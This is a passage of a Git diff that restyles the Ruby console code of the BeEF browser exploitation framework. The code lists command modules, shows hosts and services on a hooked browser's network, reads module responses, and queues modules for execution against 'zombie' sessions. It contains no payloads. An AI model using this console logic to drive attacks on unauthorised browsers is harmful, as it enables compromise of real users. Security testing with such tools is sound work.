||||||
|
puts "\n"
|
||||||
|
puts "List of responses for this command module:\n"
|
||||||
|
puts tbl.to_s + "\n"
|
||||||
|
|
||||||
|
unless lastcmdid.nil?
|
||||||
|
resp = driver.interface.getindividualresponse(lastcmdid)
|
||||||
|
puts "\n"
|
||||||
|
print_line('The last response [' + lastcmdid.to_s + '] was retrieved: ' + Time.at(resp[0]['date'].to_i).to_s)
|
||||||
|
print_line('Response:')
|
||||||
|
resp.each do |op|
|
||||||
|
print_line(op['data']['data'].to_s)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
else
|
||||||
|
output = driver.interface.getindividualresponse(args[0])
|
||||||
|
if output.nil?
|
||||||
|
print_line('Invalid response ID')
|
||||||
|
elsif output[0].nil?
|
||||||
|
print_line('No response yet from the hooked browser or perhaps an invalid response ID')
|
||||||
|
else
|
||||||
|
print_line('Results retrieved: ' + Time.at(output[0]['date'].to_i).to_s)
|
||||||
|
print_line('')
|
||||||
|
print_line('Response:')
|
||||||
|
output.each do |op|
|
||||||
|
print_line(op['data']['data'].to_s)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_response_help(*_args)
|
||||||
|
print_status('List and review particular responses to this command')
|
||||||
|
print_status(' Usage: response (id)')
|
||||||
|
print_status(" If you omit id you'll see a list of all responses for the currently active command module")
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def cmd_response_help(*args)
|
|
||||||
print_status("List and review particular responses to this command")
|
|
||||||
print_status(" Usage: response (id)")
|
|
||||||
print_status(" If you omit id you'll see a list of all responses for the currently active command module")
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end end end end
|
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
@@ -4,288 +4,282 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Console
|
module Console
|
||||||
module CommandDispatcher
|
module CommandDispatcher
|
||||||
|
class Target
|
||||||
class Target
|
include BeEF::Extension::Console::CommandDispatcher
|
||||||
include BeEF::Extension::Console::CommandDispatcher
|
|
||||||
|
|
||||||
@@commands = []
|
|
||||||
|
|
||||||
def initialize(driver)
|
|
||||||
super
|
|
||||||
begin
|
|
||||||
driver.interface.getcommands.each { |folder|
|
|
||||||
folder['children'].each { |command|
|
|
||||||
@@commands << folder['text'].gsub(/\s/,"_") + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
rescue
|
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def commands
|
|
||||||
{
|
|
||||||
"commands" => "List available commands against this particular target",
|
|
||||||
"info" => "Info about the target",
|
|
||||||
"select" => "Prepare the command module for execution against this target",
|
|
||||||
"hosts" => "List identified network hosts",
|
|
||||||
"services" => "List identified network services"
|
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
def name
|
|
||||||
"Target"
|
|
||||||
end
|
|
||||||
|
|
||||||
@@bare_opts = Rex::Parser::Arguments.new(
|
|
||||||
"-h" => [ false, "Help." ])
|
|
||||||
|
|
||||||
@@commands_opts = Rex::Parser::Arguments.new(
|
@@commands = []
|
||||||
"-h" => [ false, "Help."],
|
|
||||||
"-s" => [ false, "<search term>"],
|
|
||||||
"-r" => [ false, "List modules which have responses against them only"])
|
|
||||||
|
|
||||||
def cmd_commands(*args)
|
|
||||||
|
|
||||||
searchstring = nil
|
def initialize(driver)
|
||||||
responly = nil
|
super
|
||||||
|
begin
|
||||||
@@commands_opts.parse(args) {|opt, idx, val|
|
driver.interface.getcommands.each do |folder|
|
||||||
case opt
|
folder['children'].each do |command|
|
||||||
when "-h"
|
@@commands << (folder['text'].gsub(/\s/, '_') + command['text'].gsub(/[-()]/, '').gsub(/\W+/, '_'))
|
||||||
cmd_commands_help
|
end
|
||||||
return false
|
end
|
||||||
when "-s"
|
rescue StandardError
|
||||||
searchstring = args[1].downcase if not args[1].nil?
|
nil
|
||||||
when "-r"
|
end
|
||||||
responly = true
|
|
||||||
end
|
|
||||||
}
|
|
||||||
|
|
||||||
tbl = Rex::Ui::Text::Table.new(
|
|
||||||
'Columns' =>
|
|
||||||
[
|
|
||||||
'Id',
|
|
||||||
'Command',
|
|
||||||
'Status',
|
|
||||||
'Execute Count'
|
|
||||||
])
|
|
||||||
|
|
||||||
|
|
||||||
driver.interface.getcommands.each { |folder|
|
|
||||||
folder['children'].each { |command|
|
|
||||||
|
|
||||||
cmdstring = folder['text'].gsub(/\s/,"_") + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_")
|
|
||||||
|
|
||||||
if not searchstring.nil?
|
|
||||||
if not cmdstring.downcase.index(searchstring).nil?
|
|
||||||
tbl << [command['id'].to_i,
|
|
||||||
cmdstring,
|
|
||||||
command['status'].gsub(/^Verified /,""),
|
|
||||||
driver.interface.getcommandresponses(command['id']).length] #TODO
|
|
||||||
end
|
end
|
||||||
elsif not responly.nil?
|
|
||||||
tbl << [command['id'].to_i,
|
|
||||||
cmdstring,
|
|
||||||
command['status'].gsub(/^Verified /,""),
|
|
||||||
driver.interface.getcommandresponses(command['id']).length] if driver.interface.getcommandresponses(command['id']).length.to_i > 0
|
|
||||||
|
|
||||||
else
|
def commands
|
||||||
tbl << [command['id'].to_i,
|
{
|
||||||
cmdstring,
|
'commands' => 'List available commands against this particular target',
|
||||||
command['status'].gsub(/^Verified /,""),
|
'info' => 'Info about the target',
|
||||||
driver.interface.getcommandresponses(command['id']).length] #TODO
|
'select' => 'Prepare the command module for execution against this target',
|
||||||
end
|
'hosts' => 'List identified network hosts',
|
||||||
|
'services' => 'List identified network services'
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
puts "\n"
|
|
||||||
puts "List command modules for this target\n"
|
|
||||||
puts tbl.to_s + "\n"
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
def cmd_commands_help(*args)
|
|
||||||
print_status("List command modules for this target")
|
|
||||||
print_line("Usage: commands [options]")
|
|
||||||
print_line
|
|
||||||
print @@commands_opts.usage()
|
|
||||||
end
|
|
||||||
|
|
||||||
def cmd_info(*args)
|
|
||||||
|
|
||||||
@@bare_opts.parse(args) {|opt, idx, val|
|
|
||||||
case opt
|
|
||||||
when "-h"
|
|
||||||
cmd_info_help
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
}
|
|
||||||
|
|
||||||
tbl = Rex::Ui::Text::Table.new(
|
|
||||||
'Columns' =>
|
|
||||||
[
|
|
||||||
'Param',
|
|
||||||
'Value'
|
|
||||||
])
|
|
||||||
|
|
||||||
driver.interface.select_zombie_summary['results'].each { |x|
|
|
||||||
x['data'].each { |k,v|
|
|
||||||
tbl << [k,v]
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
puts "\nHooked Browser Info:\n"
|
|
||||||
puts tbl.to_s + "\n"
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
def cmd_info_help(*args)
|
|
||||||
print_status("Display initialisation information about the hooked browser.")
|
|
||||||
end
|
|
||||||
|
|
||||||
def cmd_hosts(*args)
|
|
||||||
|
|
||||||
@@bare_opts.parse(args) {|opt, idx, val|
|
|
||||||
case opt
|
|
||||||
when "-h"
|
|
||||||
cmd_hosts_help
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
}
|
|
||||||
|
|
||||||
configuration = BeEF::Core::Configuration.instance
|
|
||||||
if !configuration.get("beef.extension.network.enable")
|
|
||||||
print_error("Network extension is disabled")
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
tbl = Rex::Ui::Text::Table.new(
|
|
||||||
'Columns' =>
|
|
||||||
[
|
|
||||||
'IP',
|
|
||||||
'Hostname',
|
|
||||||
'Type',
|
|
||||||
'Operating System',
|
|
||||||
'MAC Address',
|
|
||||||
'Last Seen'
|
|
||||||
])
|
|
||||||
|
|
||||||
driver.interface.select_network_hosts['results'].each do |x|
|
|
||||||
tbl << [x['ip'],x['hostname'],x['type'],x['os'],x['mac'],x['lastseen']]
|
|
||||||
end
|
|
||||||
|
|
||||||
puts "\nNetwork Hosts:\n\n"
|
|
||||||
puts tbl.to_s + "\n"
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
def cmd_hosts_help(*args)
|
|
||||||
print_status("Display information about network hosts on the hooked browser's network.")
|
|
||||||
end
|
|
||||||
|
|
||||||
def cmd_services(*args)
|
|
||||||
|
|
||||||
@@bare_opts.parse(args) {|opt, idx, val|
|
|
||||||
case opt
|
|
||||||
when "-h"
|
|
||||||
cmd_services_help
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
}
|
|
||||||
|
|
||||||
configuration = BeEF::Core::Configuration.instance
|
|
||||||
if !configuration.get("beef.extension.network.enable")
|
|
||||||
print_error("Network extension is disabled")
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
tbl = Rex::Ui::Text::Table.new(
|
|
||||||
'Columns' =>
|
|
||||||
[
|
|
||||||
'IP',
|
|
||||||
'Port',
|
|
||||||
'Protocol',
|
|
||||||
'Type'
|
|
||||||
])
|
|
||||||
|
|
||||||
driver.interface.select_network_services['results'].each do |x|
|
|
||||||
tbl << [x['ip'],x['port'],x['proto'],x['type']]
|
|
||||||
end
|
|
||||||
|
|
||||||
puts "\nNetwork Services:\n\n"
|
|
||||||
puts tbl.to_s + "\n"
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
def cmd_services_help(*args)
|
|
||||||
print_status("Display information about network services on the hooked browser's network.")
|
|
||||||
end
|
|
||||||
|
|
||||||
def cmd_select(*args)
|
|
||||||
@@bare_opts.parse(args) {|opt, idx, val|
|
|
||||||
case opt
|
|
||||||
when "-h"
|
|
||||||
cmd_select_help
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
}
|
|
||||||
|
|
||||||
if args[0] == nil
|
|
||||||
cmd_select_help
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
|
|
||||||
modid = nil
|
|
||||||
|
|
||||||
if args[0] =~ /[0-9]+/
|
|
||||||
modid = args[0]
|
|
||||||
else
|
|
||||||
driver.interface.getcommands.each { |x|
|
|
||||||
x['children'].each { |y|
|
|
||||||
if args[0].chomp == x['text'].gsub(/\s/,"_")+y['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_")
|
|
||||||
modid = y['id']
|
|
||||||
end
|
end
|
||||||
}
|
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
if modid.nil?
|
|
||||||
print_status("Could not find command module")
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
|
|
||||||
driver.interface.setcommand(modid)
|
|
||||||
|
|
||||||
driver.enstack_dispatcher(Command) if driver.dispatched_enstacked(Command) == false
|
|
||||||
|
|
||||||
if driver.interface.targetid.length > 1
|
|
||||||
driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] / "+driver.interface.cmd['Name']+" ")
|
|
||||||
else
|
|
||||||
driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] / "+driver.interface.cmd['Name']+" ")
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
def name
|
||||||
|
'Target'
|
||||||
def cmd_select_help(*args)
|
end
|
||||||
print_status("Select a command module to use against the current target")
|
|
||||||
print_status(" Usage: module <id> OR <modulename>")
|
@@bare_opts = Rex::Parser::Arguments.new(
|
||||||
end
|
'-h' => [false, 'Help.']
|
||||||
|
)
|
||||||
def cmd_select_tabs(str,words)
|
|
||||||
return if words.length > 1
|
@@commands_opts = Rex::Parser::Arguments.new(
|
||||||
|
'-h' => [false, 'Help.'],
|
||||||
if @@commands == ""
|
'-s' => [false, '<search term>'],
|
||||||
#nothing prepopulated?
|
'-r' => [false, 'List modules which have responses against them only']
|
||||||
else
|
)
|
||||||
return @@commands
|
|
||||||
|
def cmd_commands(*args)
|
||||||
|
searchstring = nil
|
||||||
|
responly = nil
|
||||||
|
|
||||||
|
@@commands_opts.parse(args) do |opt, _idx, _val|
|
||||||
|
case opt
|
||||||
|
when '-h'
|
||||||
|
cmd_commands_help
|
||||||
|
return false
|
||||||
|
when '-s'
|
||||||
|
searchstring = args[1].downcase unless args[1].nil?
|
||||||
|
when '-r'
|
||||||
|
responly = true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
tbl = Rex::Ui::Text::Table.new(
|
||||||
|
'Columns' =>
|
||||||
|
[
|
||||||
|
'Id',
|
||||||
|
'Command',
|
||||||
|
'Status',
|
||||||
|
'Execute Count'
|
||||||
|
]
|
||||||
|
)
|
||||||
|
|
||||||
|
driver.interface.getcommands.each do |folder|
|
||||||
|
folder['children'].each do |command|
|
||||||
|
cmdstring = folder['text'].gsub(/\s/, '_') + command['text'].gsub(/[-()]/, '').gsub(/\W+/, '_')
|
||||||
|
|
||||||
|
if !searchstring.nil?
|
||||||
|
unless cmdstring.downcase.index(searchstring).nil?
|
||||||
|
tbl << [command['id'].to_i,
|
||||||
|
cmdstring,
|
||||||
|
command['status'].gsub(/^Verified /, ''),
|
||||||
|
driver.interface.getcommandresponses(command['id']).length] # TODO
|
||||||
|
end
|
||||||
|
elsif !responly.nil?
|
||||||
|
if driver.interface.getcommandresponses(command['id']).length.to_i > 0
|
||||||
|
tbl << [command['id'].to_i,
|
||||||
|
cmdstring,
|
||||||
|
command['status'].gsub(/^Verified /, ''),
|
||||||
|
driver.interface.getcommandresponses(command['id']).length]
|
||||||
|
end
|
||||||
|
|
||||||
|
else
|
||||||
|
tbl << [command['id'].to_i,
|
||||||
|
cmdstring,
|
||||||
|
command['status'].gsub(/^Verified /, ''),
|
||||||
|
driver.interface.getcommandresponses(command['id']).length] # TODO
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
puts "\n"
|
||||||
|
puts "List command modules for this target\n"
|
||||||
|
puts tbl.to_s + "\n"
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_commands_help(*_args)
|
||||||
|
print_status('List command modules for this target')
|
||||||
|
print_line('Usage: commands [options]')
|
||||||
|
print_line
|
||||||
|
print @@commands_opts.usage
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_info(*args)
|
||||||
|
@@bare_opts.parse(args) do |opt, _idx, _val|
|
||||||
|
case opt
|
||||||
|
when '-h'
|
||||||
|
cmd_info_help
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
tbl = Rex::Ui::Text::Table.new(
|
||||||
|
'Columns' =>
|
||||||
|
%w[
|
||||||
|
Param
|
||||||
|
Value
|
||||||
|
]
|
||||||
|
)
|
||||||
|
|
||||||
|
driver.interface.select_zombie_summary['results'].each do |x|
|
||||||
|
x['data'].each do |k, v|
|
||||||
|
tbl << [k, v]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
puts "\nHooked Browser Info:\n"
|
||||||
|
puts tbl.to_s + "\n"
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_info_help(*_args)
|
||||||
|
print_status('Display initialisation information about the hooked browser.')
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_hosts(*args)
|
||||||
|
@@bare_opts.parse(args) do |opt, _idx, _val|
|
||||||
|
case opt
|
||||||
|
when '-h'
|
||||||
|
cmd_hosts_help
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
configuration = BeEF::Core::Configuration.instance
|
||||||
|
unless configuration.get('beef.extension.network.enable')
|
||||||
|
print_error('Network extension is disabled')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
tbl = Rex::Ui::Text::Table.new(
|
||||||
|
'Columns' =>
|
||||||
|
[
|
||||||
|
'IP',
|
||||||
|
'Hostname',
|
||||||
|
'Type',
|
||||||
|
'Operating System',
|
||||||
|
'MAC Address',
|
||||||
|
'Last Seen'
|
||||||
|
]
|
||||||
|
)
|
||||||
|
|
||||||
|
driver.interface.select_network_hosts['results'].each do |x|
|
||||||
|
tbl << [x['ip'], x['hostname'], x['type'], x['os'], x['mac'], x['lastseen']]
|
||||||
|
end
|
||||||
|
|
||||||
|
puts "\nNetwork Hosts:\n\n"
|
||||||
|
puts tbl.to_s + "\n"
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_hosts_help(*_args)
|
||||||
|
print_status("Display information about network hosts on the hooked browser's network.")
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_services(*args)
|
||||||
|
@@bare_opts.parse(args) do |opt, _idx, _val|
|
||||||
|
case opt
|
||||||
|
when '-h'
|
||||||
|
cmd_services_help
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
configuration = BeEF::Core::Configuration.instance
|
||||||
|
unless configuration.get('beef.extension.network.enable')
|
||||||
|
print_error('Network extension is disabled')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
tbl = Rex::Ui::Text::Table.new(
|
||||||
|
'Columns' =>
|
||||||
|
%w[
|
||||||
|
IP
|
||||||
|
Port
|
||||||
|
Protocol
|
||||||
|
Type
|
||||||
|
]
|
||||||
|
)
|
||||||
|
|
||||||
|
driver.interface.select_network_services['results'].each do |x|
|
||||||
|
tbl << [x['ip'], x['port'], x['proto'], x['type']]
|
||||||
|
end
|
||||||
|
|
||||||
|
puts "\nNetwork Services:\n\n"
|
||||||
|
puts tbl.to_s + "\n"
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_services_help(*_args)
|
||||||
|
print_status("Display information about network services on the hooked browser's network.")
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_select(*args)
|
||||||
|
@@bare_opts.parse(args) do |opt, _idx, _val|
|
||||||
|
case opt
|
||||||
|
when '-h'
|
||||||
|
cmd_select_help
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if args[0].nil?
|
||||||
|
cmd_select_help
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
modid = nil
|
||||||
|
|
||||||
|
if args[0] =~ /[0-9]+/
|
||||||
|
modid = args[0]
|
||||||
|
else
|
||||||
|
driver.interface.getcommands.each do |x|
|
||||||
|
x['children'].each do |y|
|
||||||
|
modid = y['id'] if args[0].chomp == x['text'].gsub(/\s/, '_') + y['text'].gsub(/[-()]/, '').gsub(/\W+/, '_')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if modid.nil?
|
||||||
|
print_status('Could not find command module')
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
driver.interface.setcommand(modid)
|
||||||
|
|
||||||
|
driver.enstack_dispatcher(Command) if driver.dispatched_enstacked(Command) == false
|
||||||
|
|
||||||
|
if driver.interface.targetid.length > 1
|
||||||
|
driver.update_prompt('(%bld%redMultiple%clr) [' + driver.interface.targetid.join(',') + '] / ' + driver.interface.cmd['Name'] + ' ')
|
||||||
|
else
|
||||||
|
driver.update_prompt('(%bld%red' + driver.interface.targetip + '%clr) [' + driver.interface.targetid.first.to_s + '] / ' + driver.interface.cmd['Name'] + ' ')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_select_help(*_args)
|
||||||
|
print_status('Select a command module to use against the current target')
|
||||||
|
print_status(' Usage: module <id> OR <modulename>')
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_select_tabs(_str, words)
|
||||||
|
return if words.length > 1
|
||||||
|
|
||||||
|
if @@commands == ''
|
||||||
|
# nothing prepopulated?
|
||||||
|
else
|
||||||
|
@@commands
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end end end end
|
|
||||||
|
|||||||
@@ -4,450 +4,429 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Console
|
module Console
|
||||||
|
class ShellInterface
|
||||||
|
BD = BeEF::Core::Models::BrowserDetails
|
||||||
|
|
||||||
class ShellInterface
|
def initialize(config)
|
||||||
|
self.config = config
|
||||||
BD = BeEF::Core::Models::BrowserDetails
|
self.cmd = {}
|
||||||
|
|
||||||
def initialize(config)
|
|
||||||
self.config = config
|
|
||||||
self.cmd = {}
|
|
||||||
end
|
|
||||||
|
|
||||||
def settarget(id)
|
|
||||||
begin
|
|
||||||
self.targetsession = BeEF::Core::Models::HookedBrowser.find(id).session
|
|
||||||
self.targetip = BeEF::Core::Models::HookedBrowser.find(id).ip
|
|
||||||
self.targetid = id
|
|
||||||
rescue
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def setofflinetarget(id)
|
|
||||||
begin
|
|
||||||
self.targetsession = BeEF::Core::Models::HookedBrowser.find(id).session
|
|
||||||
self.targetip = "(OFFLINE) " + BeEF::Core::Models::HookedBrowser.find(id).ip
|
|
||||||
self.targetid = id
|
|
||||||
rescue
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def cleartarget
|
|
||||||
self.targetsession = nil
|
|
||||||
self.targetip = nil
|
|
||||||
self.targetid = nil
|
|
||||||
self.cmd = {}
|
|
||||||
end
|
|
||||||
|
|
||||||
# @note Get commands. This is a *modified* replica of select_command_modules_tree from extensions/admin_ui/controllers/modules/modules.rb
|
|
||||||
def getcommands
|
|
||||||
|
|
||||||
return if self.targetid.nil?
|
|
||||||
|
|
||||||
tree = []
|
|
||||||
BeEF::Modules.get_categories.each { |c|
|
|
||||||
if c[-1,1] != "/"
|
|
||||||
c.concat("/")
|
|
||||||
end
|
|
||||||
tree.push({
|
|
||||||
'text' => c,
|
|
||||||
'cls' => 'folder',
|
|
||||||
'children' => []
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
BeEF::Modules.get_enabled.each{|k, mod|
|
|
||||||
|
|
||||||
flatcategory = ""
|
|
||||||
if mod['category'].kind_of?(Array)
|
|
||||||
# Therefore this module has nested categories (sub-folders), munge them together into a string with '/' characters, like a folder.
|
|
||||||
mod['category'].each {|cat|
|
|
||||||
flatcategory << cat + "/"
|
|
||||||
}
|
|
||||||
else
|
|
||||||
flatcategory = mod['category']
|
|
||||||
if flatcategory[-1,1] != "/"
|
|
||||||
flatcategory.concat("/")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
update_command_module_tree(tree, flatcategory, get_command_module_status(k), mod['name'],mod['db']['id'])
|
|
||||||
}
|
|
||||||
|
|
||||||
# if dynamic modules are found in the DB, then we don't have yaml config for them
|
|
||||||
# and loading must proceed in a different way.
|
|
||||||
dynamic_modules = BeEF::Core::Models::CommandModule.where('path LIKE ?', 'Dynamic/')
|
|
||||||
|
|
||||||
if(dynamic_modules != nil)
|
|
||||||
all_modules = BeEF::Core::Models::CommandModule.all.order(:id)
|
|
||||||
all_modules.each{|dyn_mod|
|
|
||||||
next if !dyn_mod.path.split('/').first.match(/^Dynamic/)
|
|
||||||
|
|
||||||
dyn_mod_name = dyn_mod.path.split('/').last
|
|
||||||
dyn_mod_category = nil
|
|
||||||
if(dyn_mod_name == "Msf")
|
|
||||||
dyn_mod_category = "Metasploit"
|
|
||||||
else
|
|
||||||
# future dynamic modules...
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#print_debug ("Loading Dynamic command module: category [#{dyn_mod_category}] - name [#{dyn_mod.name.to_s}]")
|
def settarget(id)
|
||||||
command_mod = BeEF::Modules::Commands.const_get(dyn_mod_name.capitalize).new
|
self.targetsession = BeEF::Core::Models::HookedBrowser.find(id).session
|
||||||
command_mod.session_id = hook_session_id
|
self.targetip = BeEF::Core::Models::HookedBrowser.find(id).ip
|
||||||
command_mod.update_info(dyn_mod.id)
|
self.targetid = id
|
||||||
command_mod_name = command_mod.info['Name'].downcase
|
rescue StandardError
|
||||||
|
nil
|
||||||
update_command_module_tree(tree, dyn_mod_category, "Verified Unknown", command_mod_name,dyn_mod.id)
|
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
# sort the parent array nodes
|
|
||||||
tree.sort! {|a,b| a['text'] <=> b['text']}
|
|
||||||
|
|
||||||
# sort the children nodes by status
|
|
||||||
tree.each {|x| x['children'] =
|
|
||||||
x['children'].sort_by {|a| a['status']}
|
|
||||||
}
|
|
||||||
|
|
||||||
# append the number of command modules so the branch name results in: "<category name> (num)"
|
|
||||||
#tree.each {|command_module_branch|
|
|
||||||
# num_of_command_modules = command_module_branch['children'].length
|
|
||||||
# command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
|
|
||||||
#}
|
|
||||||
|
|
||||||
# return a JSON array of hashes
|
|
||||||
tree
|
|
||||||
end
|
|
||||||
|
|
||||||
def setcommand(id)
|
|
||||||
key = BeEF::Module.get_key_by_database_id(id.to_i)
|
|
||||||
|
|
||||||
self.cmd['id'] = id
|
|
||||||
self.cmd['Name'] = self.config.get("beef.module.#{key}.name")
|
|
||||||
self.cmd['Description'] = self.config.get("beef.module.#{key}.description")
|
|
||||||
self.cmd['Category'] = self.config.get("beef.module.#{key}.category")
|
|
||||||
self.cmd['Data'] = BeEF::Module.get_options(key)
|
|
||||||
end
|
|
||||||
|
|
||||||
def clearcommand
|
|
||||||
self.cmd = {}
|
|
||||||
end
|
|
||||||
|
|
||||||
def setparam(param,value)
|
|
||||||
self.cmd['Data'].each do |data|
|
|
||||||
if data['name'] == param
|
|
||||||
data['value'] = value
|
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def getcommandresponses(cmdid = self.cmd['id'])
|
|
||||||
|
|
||||||
commands = []
|
|
||||||
i = 0
|
|
||||||
|
|
||||||
BeEF::Core::Models::Command.where(:command_module_id => cmdid, :hooked_browser_id => self.targetid).each do |command|
|
|
||||||
commands.push({
|
|
||||||
'id' => i,
|
|
||||||
'object_id' => command.id,
|
|
||||||
'creationdate' => Time.at(command.creationdate.to_i).strftime("%Y-%m-%d %H:%M").to_s,
|
|
||||||
'label' => command.label
|
|
||||||
})
|
|
||||||
i+=1
|
|
||||||
end
|
|
||||||
|
|
||||||
commands
|
|
||||||
end
|
|
||||||
|
|
||||||
def getindividualresponse(cmdid)
|
|
||||||
results = []
|
|
||||||
begin
|
|
||||||
BeEF::Core::Models::Result.where(:command_id => cmdid).each { |result|
|
|
||||||
results.push({'date' => result.date, 'data' => JSON.parse(result.data)})
|
|
||||||
}
|
|
||||||
rescue
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
results
|
|
||||||
end
|
|
||||||
|
|
||||||
def executecommand
|
|
||||||
definition = {}
|
|
||||||
options = {}
|
|
||||||
options.store("zombie_session", self.targetsession.to_s)
|
|
||||||
options.store("command_module_id", self.cmd['id'])
|
|
||||||
|
|
||||||
if not self.cmd['Data'].nil?
|
|
||||||
self.cmd['Data'].each do |key|
|
|
||||||
options.store("txt_"+key['name'].to_s,key['value'])
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
options.keys.each {|param|
|
|
||||||
definition[param[4..-1]] = options[param]
|
|
||||||
oc = BeEF::Core::Models::OptionCache.first_or_create(:name => param[4..-1])
|
|
||||||
oc.value = options[param]
|
|
||||||
oc.save
|
|
||||||
}
|
|
||||||
|
|
||||||
mod_key = BeEF::Module.get_key_by_database_id(self.cmd['id'])
|
|
||||||
# Hack to rework the old option system into the new option system
|
|
||||||
def2 = []
|
|
||||||
definition.each{|k,v|
|
|
||||||
def2.push({'name' => k, 'value' => v})
|
|
||||||
}
|
|
||||||
# End hack
|
|
||||||
if BeEF::Module.execute(mod_key, self.targetsession.to_s, def2) != nil
|
|
||||||
return true
|
|
||||||
else
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
|
|
||||||
#Old method
|
|
||||||
#begin
|
|
||||||
# BeEF::Core::Models::Command.new( :data => definition.to_json,
|
|
||||||
# :hooked_browser_id => self.targetid,
|
|
||||||
# :command_module_id => self.cmd['id'],
|
|
||||||
# :creationdate => Time.new.to_i
|
|
||||||
# ).save
|
|
||||||
#rescue
|
|
||||||
# return false
|
|
||||||
#end
|
|
||||||
|
|
||||||
#return true
|
|
||||||
end
|
|
||||||
|
|
||||||
def update_command_module_tree(tree, cmd_category, cmd_status, cmd_name, cmd_id)
|
|
||||||
|
|
||||||
# construct leaf node for the command module tree
|
|
||||||
leaf_node = {
|
|
||||||
'text' => cmd_name,
|
|
||||||
'leaf' => true,
|
|
||||||
'status' => cmd_status,
|
|
||||||
'id' => cmd_id
|
|
||||||
}
|
|
||||||
|
|
||||||
# add the node to the branch in the command module tree
|
|
||||||
tree.each {|x|
|
|
||||||
if x['text'].eql? cmd_category
|
|
||||||
x['children'].push( leaf_node )
|
|
||||||
break
|
|
||||||
end
|
end
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
def get_command_module_status(mod)
|
def setofflinetarget(id)
|
||||||
hook_session_id = self.targetsession
|
self.targetsession = BeEF::Core::Models::HookedBrowser.find(id).session
|
||||||
if hook_session_id == nil
|
self.targetip = '(OFFLINE) ' + BeEF::Core::Models::HookedBrowser.find(id).ip
|
||||||
return "Verified Unknown"
|
self.targetid = id
|
||||||
end
|
rescue StandardError
|
||||||
case BeEF::Module.support(mod, {
|
nil
